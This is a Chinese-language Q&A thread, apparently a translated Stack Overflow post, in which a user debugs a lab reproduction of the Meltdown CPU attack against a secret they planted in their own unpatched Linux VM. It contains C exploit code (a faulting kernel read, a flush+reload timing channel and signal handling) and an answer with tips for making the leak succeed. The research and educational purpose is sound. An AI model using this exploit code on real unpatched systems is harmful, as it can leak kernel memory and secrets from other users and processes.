鼓励CPU对Meltdown测试执行乱序执行

时间:2019-03-30 11:45:15

标签: linux-kernel x86 intel cpu-architecture exploit

我正在尝试使用 Intel Core-i5 4300M上未修补的内核4.8.0-36 利用 Ubuntu 16.04 上的崩溃安全漏洞。 / strong> CPU。

首先,我使用内核模块将秘密数据存储在内核空间中的某个地址:

static __init int initialize_proc(void){
    char* key_val = "abcd";
    printk("Secret data address = %p\n", key_val);
    printk("Value at %p = %s\n", key_val, key_val);
}

printk语句为我提供了秘密数据的地址。

Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd

然后我尝试在此位置访问数据,并在下一条指令中使用它来缓存数组的元素。

// Out of order execution
int meltdown(unsigned long kernel_addr){
    char data = *(char*) kernel_addr;   //Raises exception
    array[data*4096+DELTA] += 10;       // <----- Execute out of order
}

我期望CPU在执行乱序执行时可以继续并在索引(data * 4096 + DELTA)处缓存数组元素。此后,将执行边界检查并抛出SIGSEGV。 我处理了SIGSEGV,然后定时访问数组元素以确定已缓存的元素:

void attackChannel_x86(){
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int min = 10000;
    int temp, i, k;

    for(i=0;i<256;i++){
        time1 = __rdtscp(&temp);      //timestamp before memory access
        temp = array[i*4096 + DELTA];
        time2 = __rdtscp(&temp) - time1; // change in timestamp after the access
        if(time2<=min){
            min = time2;
            k=i;
        }

    }
    printf("array[%d*4096+DELTA]\n", k);
}

由于数据中的值为'a',因此我希望结果为数组[97 * 4096 + DELTA],因为'a'的ASCII值为97。

但是,这不起作用,我得到的是随机输出。

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[241*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[78*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[146*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[115*4096+DELTA]

我可能想到的原因是:

  1. 缓存数组元素的指令未执行 乱了。
  2. 发生乱序执行,但缓存正在刷新。
  3. 我误解了内核模块中的内存映射,我使用的地址不正确

由于系统很容易崩溃,所以我确定排除了第二种可能性。

因此,我的问题是:为什么乱序执行在这里不起作用?是否有任何选项/标志可以“鼓励” CPU按顺序执行?

我已经尝试过的解决方案:

  1. 使用clock_gettime而不是rdtscp来计时内存访问。
void attackChannel(){
    int i, k, temp;

    uint64_t diff;
    volatile uint8_t *addr;
    double min  = 10000000;
    struct timespec start, end;

    for(i=0;i<256;i++){
        addr = &array[i*4096 + DELTA];
        clock_gettime(CLOCK_MONOTONIC, &start);
        temp = *addr;
        clock_gettime(CLOCK_MONOTONIC, &end);
        diff = end.tv_nsec - start.tv_nsec;
        if(diff<=min){
            min = diff;
            k=i;
        }
    }
    if(min<600)
        printf("Accessed element : array[%d*4096+DELTA]\n", k);
}
  1. 通过执行循环使算术单元保持“繁忙”状态(请参见 meltdown_busy_loop
void meltdown_busy_loop(unsigned long kernel_addr){
    char kernel_data;
    asm volatile(
        ".rept 1000;"
        "add $0x01, %%eax;"
        ".endr;"

        :
        :
        :"eax"
    );
    kernel_data = *(char*)kernel_addr;
    array[kernel_data*4096 + DELTA] +=10;
}
  1. 使用procfs在执行时间攻击之前将数据强制进入缓存(请参阅崩溃
int meltdown(unsigned long kernel_addr){   
    // Cache the data to improve success
    int fd = open("/proc/my_secret_key", O_RDONLY);
    if(fd<0){
        perror("open");
        return -1;
    }
    int ret = pread(fd, NULL, 0, 0);    //Data is cached
    char data = *(char*) kernel_addr;   //Raises exception
    array[data*4096+DELTA] += 10;       // <----- Out of order
}

对于有兴趣进行设置的任何人,这里是link to the github repo

为了完整起见,我在下面附加主要功能和错误处理代码:


void flushChannel(){
    int i;
    for(i=0;i<256;i++) array[i*4096 + DELTA] = 1;

    for(i=0;i<256;i++) _mm_clflush(&array[i*4096 + DELTA]);
}

void catch_segv(){
    siglongjmp(jbuf, 1);
}

int main(){
    unsigned long kernel_addr = 0xfa2ef024;
    signal(SIGSEGV, catch_segv);

    if(sigsetjmp(jbuf, 1)==0)
    {
        // meltdown(kernel_addr);
        meltdown_busy_loop(kernel_addr);
    }
    else{
        printf("Memory Access Violation\n");
    }

    attackChannel_x86();
}

1 个答案:

答案 0 :(得分:2)

我认为数据必须在L1d中才能正常工作,并且仅通过没有特权的TLB /页表条目尝试读取数据不会将其带入L1d。

http://blog.stuffedcow.net/2018/05/meltdown-microarchitecture/

  

当发生任何不良结果时(页面错误,从非推测性内存类型加载,页面访问位= 0),没有任何处理器会启动内核外L2请求获取数据

除非我缺少一些东西,否则我认为,只有允许 读取的数据将数据带入L1d时,数据才容易受到Meltdown的攻击。 (直接或通过硬件预取。)我认为重复的Meltdown攻击不会将数据从RAM引入L1d。

尝试在您的机密数据上使用READ_ONCE()的模块中添加系统调用或其他内容(或手动编写*(volatile int*)&data;或只是将其写成volatile以便于触摸)从具有该PTE特权的上下文将其放入缓存。


也:add $0x01, %%eax是延迟退休的不佳选择。每个uop仅有1个时钟周期的延迟,因此,从ADD之后的第一条指令进入调度程序(RS)并开始运行之前,OoO exec仅有大约64个周期,直到它检查完加法操作,并且有故障的负载达到报废为止。 / p>

至少使用imul(3c延迟),或更好地使用xorps %xmm0,%xmm0 /重复sqrtpd %xmm0,%xmm0(单次,Ha​​swell上有16个周期的延迟。)https://agner.org/optimize/。 / p>